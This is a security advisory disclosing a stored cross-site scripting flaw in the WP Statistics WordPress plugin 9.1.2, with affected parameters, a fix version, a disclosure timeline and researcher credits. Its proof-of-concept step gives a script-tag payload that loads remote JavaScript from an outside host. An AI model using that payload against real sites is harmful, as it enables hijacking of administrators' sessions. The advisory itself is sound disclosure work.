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Stored XSS Vulnerability in WP Statistics  Wordpress Plugin 
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. contents:: Table Of Content

Overview
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* Title :Stored XSS Vulnerability in WP Statistics Wordpress Plugin 
* Author: Kaustubh G. Padwad
* Plugin Homepage: https://wordpress.org/plugins/wp-statistics/
* Severity: Medium
* Version Affected: 9.1.2 and mostly prior to it
* Version Tested : 9.1.2
* version patched: 9.1.3

Description 
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Vulnerable Parameter  
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*  Check for online users every:
*  Coefficient per visitor:

   
About Vulnerability
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This plugin is vulnerable to a Stored cross site scripting vulnerability,This issue was exploited when administrator users with access to WP Statistics Setting in wordpress Above Vulbnerable parameter is vulnerable for stored XSS. A malicious administration can hijack other users session, take control of another administrator's browser or install malware on their computer.

Vulnerability Class
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Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS) 

Steps to Reproduce: (POC)
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After installing the plugin

* Goto settings --> WP Statistics
* Put This payload in any above vulnerable parameter <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
* Click on the Save Changes you will see XSS in action 
* Reload the page or re navigate to page to make sure its stored ;)

Mitigation 
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Update to 9.1.3

Change Log
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https://wordpress.org/plugins/wp-statistics/changelog/

Disclosure 
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14-April-2015 reported to developer
15-April-2015 Fix by developer
15-April-2015 Public Disclosure
credits
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* Kaustubh Padwad
* Information Security Researcher
* kingkaustubh@me.com
* https://twitter.com/s3curityb3ast
* http://breakthesec.com
* https://www.linkedin.com/in/kaustubhpadwad